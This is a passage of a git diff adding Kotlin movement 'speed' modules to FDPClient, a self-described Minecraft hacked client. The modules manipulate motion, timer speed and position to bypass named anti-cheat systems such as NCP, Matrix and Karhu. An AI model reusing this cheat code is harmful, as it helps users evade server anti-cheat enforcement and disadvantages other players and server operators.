b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/Matrix670Speed.kt @@ -0,0 +1,67 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.client.settings.GameSettings +import net.minecraft.network.play.server.S12PacketEntityVelocity +import kotlin.math.abs + +class Matrix670Speed : SpeedMode("Matrix6.7.0") { + private var noVelocityY = 0 + + override fun onUpdate() { + if (noVelocityY >= 0) { + noVelocityY -= 1 + } + if (!mc.thePlayer.onGround && noVelocityY <= 0) { + if (mc.thePlayer.motionY > 0) { + mc.thePlayer.motionY -= 0.0005 + } + mc.thePlayer.motionY -= 0.009400114514191982 + } + if (!mc.thePlayer.onGround) { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + if (MovementUtils.getSpeed() < 0.2177 && noVelocityY < 8) { + MovementUtils.strafe(0.2177f) + } + } + if (abs(mc.thePlayer.movementInput.moveStrafe) < 0.1) { + mc.thePlayer.jumpMovementFactor = 0.026f + }else{ + mc.thePlayer.jumpMovementFactor = 0.0247f + } + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + mc.gameSettings.keyBindJump.pressed = false + mc.thePlayer.jump() + mc.thePlayer.motionY = 0.4105000114514192 + if (abs(mc.thePlayer.movementInput.moveStrafe) < 0.1) { + MovementUtils.strafe() + } + } + if (!MovementUtils.isMoving()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + noVelocityY = 0 + mc.thePlayer.jumpMovementFactor = 0.02f + } + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S12PacketEntityVelocity) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) { + return + } + noVelocityY = 10 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/Matrix692Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/Matrix692Speed.kt new file mode 100644 index 0000000..0a99bf7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/Matrix692Speed.kt @@ -0,0 +1,34 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.matrix + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.client.settings.GameSettings +import net.ccbluex.liquidbounce.features.value.BoolValue + +class Matrix692Speed : SpeedMode("Matrix6.9.2") { + private var wasTimer = false + + override fun onDisable() { + wasTimer = false + mc.timer.timerSpeed = 1.0f + } + + override fun onUpdate() { + if (wasTimer) { + wasTimer = false + mc.timer.timerSpeed = 1.0f + } + mc.thePlayer.motionY -= 0.00348 + mc.thePlayer.jumpMovementFactor = 0.026f + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + if (MovementUtils.isMoving() && mc.thePlayer.onGround) { + mc.gameSettings.keyBindJump.pressed = false + mc.timer.timerSpeed = 1.35f + wasTimer = true + mc.thePlayer.jump() + MovementUtils.strafe() + }else if (MovementUtils.getSpeed() < 0.215) { + MovementUtils.strafe(0.215f) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/MatrixHop2Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/MatrixHop2Speed.kt new file mode 100644 index 0000000..03e1785 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/matrix/MatrixHop2Speed.kt @@ -0,0 +1,34 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.matrix + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.client.settings.GameSettings +import net.ccbluex.liquidbounce.features.value.BoolValue + +class MatrixHop2Speed : SpeedMode("MatrixHop2") { + private val groundStrafe = BoolValue("${valuePrefix}GroundStrafe", false) + + override fun onUpdate() { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + mc.gameSettings.keyBindJump.pressed = false + mc.timer.timerSpeed = 1.0f + if (groundStrafe.get()) MovementUtils.strafe() + mc.thePlayer.jump() + } + + if (mc.thePlayer.motionY > 0.003) { + mc.thePlayer.motionX *= 1.0012 + mc.thePlayer.motionZ *= 1.0012 + mc.timer.timerSpeed = 1.05f + } + } + + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/medusa/MedusaSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/medusa/MedusaSpeed.kt new file mode 100644 index 0000000..ff31ed3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/medusa/MedusaSpeed.kt @@ -0,0 +1,35 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.medusa + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class MedusaSpeed : SpeedMode("MedusaFloat") { + private var ticks = 0 + private var launchY = 0.0 + override fun onEnable() { + ticks = 0 + launchY = mc.thePlayer.posY + } + + override fun onUpdate() { + if(mc.theWorld.getCollisionBoxes(mc.thePlayer.entityBoundingBox.offset(0.0, -0.4875, 0.0)).isEmpty()) { + launchY = mc.thePlayer.posY + return + } + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + if (mc.thePlayer.onGround) { + mc.thePlayer.onGround = false + mc.thePlayer.jump() + MovementUtils.strafe(0.12f) + } else { + ticks++ + mc.thePlayer.setPosition(mc.thePlayer.posX, launchY + 0.001, mc.thePlayer.posZ) + mc.thePlayer.motionY = 0.0 + if(ticks % 2 > 0) { + mc.thePlayer.setPosition(mc.thePlayer.posX, launchY + 0.00101, mc.thePlayer.posZ) + } + MovementUtils.strafe(0.3f) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/BlocksMCSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/BlocksMCSpeed.kt new file mode 100644 index 0000000..dc59c5c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/BlocksMCSpeed.kt @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.potion.Potion + +class BlocksMCSpeed : SpeedMode("BlocksMC") { + private val strafe = BoolValue("DamageStrafe",true) + + override fun onUpdate() { + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) { + MovementUtils.strafe(0.48f * (1.0f + 0.13f * (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier + 1))) + } else { + MovementUtils.strafe(0.39f) + } + } else { + if (MovementUtils.getSpeed() < 0.25f) { + MovementUtils.strafe(0.25f) + } + } + if (strafe.get()) { + if (mc.thePlayer.hurtTime > 0) { + MovementUtils.strafe() + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/KarhuSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/KarhuSpeed.kt new file mode 100644 index 0000000..6fb7431 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/KarhuSpeed.kt @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class KarhuSpeed : SpeedMode("Karhu") { + + override fun onUpdate() { + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + if (mc.gameSettings.keyBindForward.isKeyDown && !mc.gameSettings.keyBindRight.isKeyDown && !mc.gameSettings.keyBindLeft.isKeyDown) { + MovementUtils.strafe() + } + } + if (mc.thePlayer.fallDistance > 0) { + if (MovementUtils.getSpeed() < 0.125f) { + MovementUtils.strafe(0.125f) + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/LNCPHop.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/LNCPHop.kt new file mode 100644 index 0000000..1cafdca --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/LNCPHop.kt @@ -0,0 +1,52 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.potion.Potion + +class LNCPHopSpeed : SpeedMode("LNCPHop") { + + private var mspeed = 0.0 + private var justJumped = false + + override fun onEnable() { + mc.timer.timerSpeed = 1.0865f + super.onEnable() + } + + override fun onDisable() { + mc.thePlayer.speedInAir = 0.02f + mc.timer.timerSpeed = 1f + super.onDisable() + } + + override fun onUpdate() { + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + mspeed = MovementUtils.defaultSpeed().toDouble() * 1.73 + + justJumped = true + } else { + if (justJumped) { + mspeed *= 0.72150289018 + justJumped = false + } else { + mspeed -= mspeed / 159 + } + } + if (mspeed < MovementUtils.defaultSpeed().toDouble()) + mspeed = MovementUtils.defaultSpeed().toDouble() + + MovementUtils.strafe(mspeed.toFloat()) + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/MiJumpSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/MiJumpSpeed.kt new file mode 100644 index 0000000..36f12b6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/MiJumpSpeed.kt @@ -0,0 +1,31 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/UnlegitMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import kotlin.math.pow +import kotlin.math.sqrt + +class MiJumpSpeed : SpeedMode("MiJump") { + override fun onPreMotion() { + if (!MovementUtils.isMoving()) return + + if (mc.thePlayer.onGround && !mc.thePlayer.movementInput.jump) { + mc.thePlayer.motionY += 0.1 + val multiplier = 1.8 + mc.thePlayer.motionX *= multiplier + mc.thePlayer.motionZ *= multiplier + val currentSpeed = sqrt(mc.thePlayer.motionX.pow(2.0) + mc.thePlayer.motionZ.pow(2.0)) + val maxSpeed = 0.66 + if (currentSpeed > maxSpeed) { + mc.thePlayer.motionX = mc.thePlayer.motionX / currentSpeed * maxSpeed + mc.thePlayer.motionZ = mc.thePlayer.motionZ / currentSpeed * maxSpeed + } + } + MovementUtils.strafe() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPBHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPBHopSpeed.kt new file mode 100644 index 0000000..252c074 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPBHopSpeed.kt @@ -0,0 +1,147 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.potion.Potion +import java.math.BigDecimal +import java.math.RoundingMode +import kotlin.math.cos +import kotlin.math.sin +import kotlin.math.sqrt + +class NCPBHopSpeed : SpeedMode("NCPBHop") { + private var level = 1 + private var moveSpeed = 0.2873 + private var lastDist = 0.0 + private var timerDelay = 0 + + override fun onEnable() { + mc.timer.timerSpeed = 1f + level = if (mc.theWorld.getCollidingBoundingBoxes( + mc.thePlayer, + mc.thePlayer.entityBoundingBox.offset(0.0, mc.thePlayer.motionY, 0.0) + ).size > 0 || mc.thePlayer.isCollidedVertically + ) 1 else 4 + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + moveSpeed = baseMoveSpeed + level = 0 + } + + override fun onPreMotion() { + val xDist = mc.thePlayer.posX - mc.thePlayer.prevPosX + val zDist = mc.thePlayer.posZ - mc.thePlayer.prevPosZ + lastDist = sqrt(xDist * xDist + zDist * zDist) + } + + override fun onMove(event: MoveEvent) { + ++timerDelay + timerDelay %= 5 + + if (timerDelay != 0) { + mc.timer.timerSpeed = 1f + } else { + if (MovementUtils.isMoving()) mc.timer.timerSpeed = 32767f + if (MovementUtils.isMoving()) { + mc.timer.timerSpeed = 1.3f + mc.thePlayer.motionX *= 1.0199999809265137 + mc.thePlayer.motionZ *= 1.0199999809265137 + } + } + + if (mc.thePlayer.onGround && MovementUtils.isMoving()) level = 2 + + if (round(mc.thePlayer.posY - mc.thePlayer.posY.toInt().toDouble()) == round(0.138)) { + val thePlayer = mc.thePlayer + thePlayer.motionY -= 0.08 + event.y = event.y - 0.09316090325960147 + thePlayer.posY -= 0.09316090325960147 + } + + when { + (level == 1 && (mc.thePlayer.moveForward != 0.0f || mc.thePlayer.moveStrafing != 0.0f)) -> { + level = 2 + moveSpeed = 1.35 * baseMoveSpeed - 0.01 + } + + level == 2 -> { + level = 3 + mc.thePlayer.motionY = 0.399399995803833 + event.y = 0.399399995803833 + moveSpeed *= 2.149 + } + + level == 3 -> { + level = 4 + val difference = 0.66 * (lastDist - baseMoveSpeed) + moveSpeed = lastDist - difference + } + + else -> { + if (mc.theWorld.getCollidingBoundingBoxes( + mc.thePlayer, + mc.thePlayer.entityBoundingBox.offset(0.0, mc.thePlayer.motionY, 0.0) + ).size > 0 || mc.thePlayer.isCollidedVertically + ) level = 1 + moveSpeed = lastDist - lastDist / 159.0 + } + } + + moveSpeed = moveSpeed.coerceAtLeast(baseMoveSpeed) + val movementInput = mc.thePlayer.movementInput + var forward = movementInput.moveForward + var strafe = movementInput.moveStrafe + var yaw = mc.thePlayer.rotationYaw + + if (forward == 0.0f && strafe == 0.0f) { + event.x = 0.0 + event.z = 0.0 + } else if (forward != 0.0f) { + if (strafe >= 1.0f) { + yaw += (if (forward > 0.0f) -45 else 45).toFloat() + strafe = 0.0f + } else if (strafe <= -1.0f) { + yaw += (if (forward > 0.0f) 45 else -45).toFloat() + strafe = 0.0f + } + if (forward > 0.0f) { + forward = 1.0f + } else if (forward < 0.0f) { + forward = -1.0f + } + } + + val mx2 = cos(Math.toRadians((yaw + 90.0f).toDouble())) + val mz2 = sin(Math.toRadians((yaw + 90.0f).toDouble())) + event.x = forward.toDouble() * moveSpeed * mx2 + strafe.toDouble() * moveSpeed * mz2 + event.z = forward.toDouble() * moveSpeed * mz2 - strafe.toDouble() * moveSpeed * mx2 + mc.thePlayer.stepHeight = 0.6f + if (forward == 0.0f && strafe == 0.0f) { + event.x = 0.0 + event.z = 0.0 + } + } + + private val baseMoveSpeed: Double + get() { + var baseSpeed = 0.2873 + if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) baseSpeed *= 1.0 + 0.2 * (mc.thePlayer.getActivePotionEffect( + Potion.moveSpeed + ).amplifier + 1) + return baseSpeed + } + + private fun round(value: Double): Double { + var bigDecimal = BigDecimal(value) + bigDecimal = bigDecimal.setScale(3, RoundingMode.HALF_UP) + return bigDecimal.toDouble() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPHopSpeed.kt new file mode 100644 index 0000000..6378e8b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPHopSpeed.kt @@ -0,0 +1,35 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class NCPHopSpeed : SpeedMode("NCPHop") { + override fun onEnable() { + mc.timer.timerSpeed = 1.0865f + super.onEnable() + } + + override fun onDisable() { + mc.thePlayer.speedInAir = 0.02f + mc.timer.timerSpeed = 1f + super.onDisable() + } + + override fun onUpdate() { + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + mc.thePlayer.speedInAir = 0.0223f + } + MovementUtils.strafe() + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPLatestSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPLatestSpeed.kt new file mode 100644 index 0000000..96057c3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPLatestSpeed.kt @@ -0,0 +1,52 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.potion.Potion + +class NCPLatestSpeed : SpeedMode("NCPLatest") { + + private var wasSlow = false + + + override fun onDisable() { + mc.thePlayer.jumpMovementFactor = 0.02f + super.onDisable() + } + + override fun onUpdate() { + + if (mc.thePlayer.ticksExisted % 20 <= 9) { + mc.timer.timerSpeed = 1.05f + } else { + mc.timer.timerSpeed = 0.98f + } + + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + wasSlow = false + mc.thePlayer.jump() + MovementUtils.strafe(0.48f) + if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) { + MovementUtils.strafe(0.48f * (1.0f + 0.13f * (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier + 1))) + } + } + MovementUtils.strafe(MovementUtils.getSpeed() * 1.007f) + if (MovementUtils.getSpeed() < 0.277) + wasSlow = true + if (wasSlow) + MovementUtils.strafe(0.277f) + + + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + wasSlow = true + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPStableSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPStableSpeed.kt new file mode 100644 index 0000000..62d726a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPStableSpeed.kt @@ -0,0 +1,50 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/UnlegitMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.TextValue +import kotlin.math.max + +class NCPStableSpeed : SpeedMode("NCPStable") { + private val timerValue = FloatValue("${valuePrefix}Timer", 1.088f, 1f, 2f) + private val jumpMovementFactorValue = FloatValue("${valuePrefix}Speed", 0.029f, 0f, 0.1f) + private val notice = TextValue("Please set value with command", "") + private val noticeLine2 = TextValue("for precise values", "") + + override fun onEnable() { + mc.timer.timerSpeed = timerValue.get() + super.onEnable() + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + mc.thePlayer.jumpMovementFactor = 0.2f + mc.thePlayer.setVelocity( + // reduce the motion a bit to avoid flags but don't stop completely + mc.thePlayer.motionX / 3, + mc.thePlayer.motionY, + mc.thePlayer.motionZ / 3 + ) + super.onDisable() + } + + override fun onUpdate() { + if (MovementUtils.isMoving()) { + mc.thePlayer.jumpMovementFactor = jumpMovementFactorValue.get() + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + // speed adapts based on speed potion + MovementUtils.strafe(max(MovementUtils.getSpeed(), MovementUtils.getSpeedWithPotionEffects(0.27).toFloat())) + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPYPort2Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPYPort2Speed.kt new file mode 100644 index 0000000..66daaae --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPYPort2Speed.kt @@ -0,0 +1,62 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue + +class NCPYPort2Speed : SpeedMode("NCPYPort2") { + var ticks = 0 + var jumps = 0 + + private val jumpBoost = FloatValue("JumpLaunchSpeed", 0.98f, 0f, 2f) + private val speedMult = FloatValue("BoostSpeed", 1.02f, 0f, 2f) + private val launchTimer = FloatValue("LaunchTimer", 0.97f,0.05f,2f) + private val normTimer = FloatValue("Timer", 1.2f,0.05f,2f) + + + override fun onEnable() { + super.onEnable() + mc.thePlayer.speedInAir = 0.0213f + } + + override fun onDisable() { + mc.thePlayer.speedInAir = 0.02f + mc.timer.timerSpeed = 1f + super.onDisable() + } + + override fun onUpdate() { + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + if (jumps <= 4) { + mc.timer.timerSpeed = launchTimer.get() + mc.thePlayer.jump() + mc.thePlayer.motionX *= jumpBoost.get().toDouble() + mc.thePlayer.motionZ *= jumpBoost.get().toDouble() + ticks = 1 + } else if (jumps >= 5) { + jumps = 0 + } + jumps ++ + MovementUtils.strafe() + } else { + mc.timer.timerSpeed = normTimer.get() + if (ticks <= 4) { + if(ticks % 2 == 0) { + mc.thePlayer.motionY = -0.17 + } else { + mc.thePlayer.motionY = -0.1 + } + } + + ticks++ + mc.thePlayer.motionX = mc.thePlayer.motionX * speedMult.get().toDouble() + mc.thePlayer.motionZ = mc.thePlayer.motionZ * speedMult.get().toDouble() + MovementUtils.strafe() + } + + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPYPortSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPYPortSpeed.kt new file mode 100644 index 0000000..10c0d1b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/NCPYPortSpeed.kt @@ -0,0 +1,30 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.util.MathHelper + +class NCPYPortSpeed : SpeedMode("NCPYPort") { + private var jumps = 0 + + override fun onPreMotion() { + if (mc.thePlayer.isOnLadder || mc.thePlayer.isInWater || mc.thePlayer.isInLava || mc.thePlayer.isInWeb || !MovementUtils.isMoving() || mc.thePlayer.isInWater) return + + if (jumps >= 4 && mc.thePlayer.onGround) jumps = 0 + + if (mc.thePlayer.onGround) { + mc.thePlayer.motionY = if (jumps <= 1) 0.42 else 0.4 + val f = mc.thePlayer.rotationYaw * 0.017453292f + mc.thePlayer.motionX -= MathHelper.sin(f) * 0.2 + mc.thePlayer.motionZ += MathHelper.cos(f) * 0.2 + jumps++ + } else if (jumps <= 1) mc.thePlayer.motionY = -5.0 + + MovementUtils.strafe() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/OnGroundSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/OnGroundSpeed.kt new file mode 100644 index 0000000..8124a77 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/OnGroundSpeed.kt @@ -0,0 +1,35 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/UnlegitMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class OnGroundSpeed : SpeedMode("OnGround") { + override fun onPreMotion() { + if (!MovementUtils.isMoving()) return + + if (mc.thePlayer.fallDistance > 3.994) return + + if (mc.thePlayer.isInWater || mc.thePlayer.isOnLadder || mc.thePlayer.isCollidedHorizontally) return + + mc.thePlayer.posY -= 0.3993000090122223 + mc.thePlayer.motionY = -1000.0 + mc.thePlayer.cameraPitch = 0.3f + mc.thePlayer.distanceWalkedModified = 44.0f + mc.timer.timerSpeed = 1f + + if (mc.thePlayer.onGround) { + mc.thePlayer.posY += 0.3993000090122223 + mc.thePlayer.motionY = 0.3993000090122223 + mc.thePlayer.distanceWalkedOnStepModified = 44.0f + mc.thePlayer.motionX *= 1.590000033378601 + mc.thePlayer.motionZ *= 1.590000033378601 + mc.thePlayer.cameraPitch = 0.0f + mc.timer.timerSpeed = 1.199f + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/UNCPLowJumpSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/UNCPLowJumpSpeed.kt new file mode 100644 index 0000000..9dfd53b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/UNCPLowJumpSpeed.kt @@ -0,0 +1,29 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.MovementUtils.strafe + +class UNCPLowJumpSpeed : SpeedMode("UNCPLowJump") { + + private var airtick = 0 + override fun onUpdate() { + val player = mc.thePlayer ?: return + if (player.isInWater || player.isInLava || player.isInWeb || player.isOnLadder) return + + if (MovementUtils.isMoving()) { + if (player.onGround) { + player.jump() + airtick = 0 + } else { + if (airtick == 4) { + player.motionY = -0.09800000190734863 + } + + airtick++ + } + + strafe() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/YPort2Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/YPort2Speed.kt new file mode 100644 index 0000000..349affe --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/YPort2Speed.kt @@ -0,0 +1,19 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/UnlegitMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class YPort2Speed : SpeedMode("YPort2") { + override fun onPreMotion() { + if 